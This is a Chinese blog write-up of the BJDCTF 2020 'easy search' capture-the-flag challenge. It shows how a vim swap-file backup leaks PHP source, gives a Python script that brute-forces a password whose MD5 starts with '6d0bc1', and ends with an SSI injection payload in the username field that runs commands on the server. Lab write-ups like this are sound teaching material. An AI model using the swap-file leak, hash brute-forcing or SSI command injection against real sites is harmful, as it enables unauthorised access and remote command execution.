[BJDCTF 2020]easy search

5 篇文章 2 订阅

 发现不是sql注入

上dirsearch

御剑:

扫不出来可能要自己加上字典

可能是字典的问题,

vim备份文件:--注意文件格式为.文件名.swpswo&swn

index.php 为例:第一次产生的交换文件名为 /.index.php.swp

再次意外退出后,将会产生名为 /index.php.swo 的交换文件

第三次产生的交换文件则为 /index.php.swn

 这里/.index.php.swp行不通,只能/index.php.swp

源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

 在if判断password的语句里,只检测了输入的密码MD5后前6位为6d0bc1

exp:

import random
import string
import hashlib
x=True
while x:
  for i in range(10):
    value = ''.join(random.sample(string.ascii_letters + string.digits,i))
    x = hashlib.md5(str(value).encode('utf-8')).hexdigest()
    if x[0:6]=='6d0bc1':
      print(value)
      x=False
    else:
      x=True
#7UvuGF

登录

 由shtml知道这个SSI注入漏洞

 Apache SSI 远程命令执行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)

唯一可控的地方就是username,尝试在这里注入 

<!--#exec cmd="whoami" -->

发现回显了,可以任意命令执行

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值